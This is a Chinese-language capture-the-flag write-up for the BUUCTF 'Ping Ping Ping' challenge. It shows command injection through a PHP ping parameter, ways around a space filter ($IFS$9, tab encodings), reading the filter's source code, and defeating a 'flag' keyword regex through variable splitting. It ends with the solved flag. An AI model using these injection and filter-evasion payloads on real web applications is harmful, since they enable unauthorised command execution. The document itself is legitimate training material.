【BUUCTF】[GXYCTF2019]Ping Ping Ping Writeup
资料来源于这个博客
理论基础
命令联合执行
URL编码:一种百分号和数字字母的组合形式,类似于:%0a.
;     前面的执行完执行后面的 |     管道符,上一条命令的输出,作为下一条命令的参数(显示后面的执行结果)          ||    当前面的执行出错时(为假)执行后面的 &     将任务置于后台执行 &&    前面的语句为假则直接出错,后面的也不执行,前面只能为真
  url编码 %0a  (换行) %0d  (回车)
   | 
 
绕过空格
起因:在URL当中的普通输入的空格被过滤导致命令无法执行,需寻找替代品
  IFS: Linux内置环境变量 ${IFS}$9 {IFS} $IFS ${IFS} $IFS$1  IFS <  <>  {cat,flag.php}   %20   (space) %09   (tab) X=$'cat\x09./flag.php';$X       (\x09表示tab,也可以用\x20)
   | 
 
联合查询例子如下:
?ip=127.0.0.1;cat$IFS$9`ls`
  $IFS在Linux下表示为空格 $9是当前系统shell进程第九个参数持有者,始终为空字符串,$后可以接任意数字
  这里$IFS$9或$IFS垂直,后面加个$与{}类似,起截断作用.简单说,$IFS$1是一个整体
   | 
 
解题
直接查询
查询 ?ip=127.0.0.1;ifconfig 返回 PING 127.0.0.1 (127.0.0.1): 56 data bytes eth0      Link encap:Ethernet  HWaddr 82:0A:99:FB:28:6E             inet addr:10.244.80.11  Bcast:0.0.0.0  Mask:255.255.255.255           UP BROADCAST RUNNING MULTICAST  MTU:1450  Metric:1           RX packets:39 errors:0 dropped:0 overruns:0 frame:0           TX packets:26 errors:0 dropped:0 overruns:0 carrier:0           collisions:0 txqueuelen:0            RX bytes:5154 (5.0 KiB)  TX bytes:2210 (2.1 KiB)
  lo        Link encap:Local Loopback             inet addr:127.0.0.1  Mask:255.0.0.0           UP LOOPBACK RUNNING  MTU:65536  Metric:1           RX packets:43 errors:0 dropped:0 overruns:0 frame:0           TX packets:43 errors:0 dropped:0 overruns:0 carrier:0           collisions:0 txqueuelen:1000            RX bytes:7960 (7.7 KiB)  TX bytes:7960 (7.7 KiB) 证明是Linux系统
 
  查询 ?ip=127.0.0.1;ls 返回 index.php flag.php
  试图直接展示 ?ip=127.0.0.1;cat flag.php 返回 /?ip=fxck your space! 测试了下所有的类似于cat,tac的显示,均无法显示
   | 
 
换空格
- 换空格 ?ip=127.0.0.1;cat$IFS$flag.php 返回 /?ip=fxck your space!
  - 获取过滤源码 ?ip=127.0.0.1|cat$IFS$1index.php 返回 /?ip= |\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){     echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);     die("fxck your symbol!");   } else if(preg_match("/ /", $ip)){     die("fxck your space!");   } else if(preg_match("/bash/", $ip)){     die("fxck your bash!");   } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){     die("fxck your flag!");   }   $a = shell_exec("ping -c 4 ".$ip);   echo "
  ";   print_r($a); } ?>
  - 分析源码 1.正则表达式过滤:     特殊字符 &/?*<|[\x{00}-\x{20}]>'"\()[]{} 空格 /bash/      文件名贪婪匹配过滤:*f*l*a*g* =意味着=> 无法使用f\l\a\g.php,flag.php等 2.变量$a
   | 
 
尝试绕过
尝试覆盖 ?ip=127.0.0.1;a=f;cat$IFS$1$alag.php        错误 ?ip=127.0.0.1;a=l;cat$IFS$1f$aag.php        无 ?ip=127.0.0.1;a=a;cat$IFS$1fl$ag.php        错误 ?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php        有flag ?ip=127.0.0.1;a=fl;b=ag;cat$IFS$1$a$b.php   错误 ?ip=127.0.0.1;b=ag;a=fl;cat$IFS$1$a$b.php   有flag
  注释当中找到flag flag{7bbe778b-9dda-4980-8532-9deb7904bd14}
   |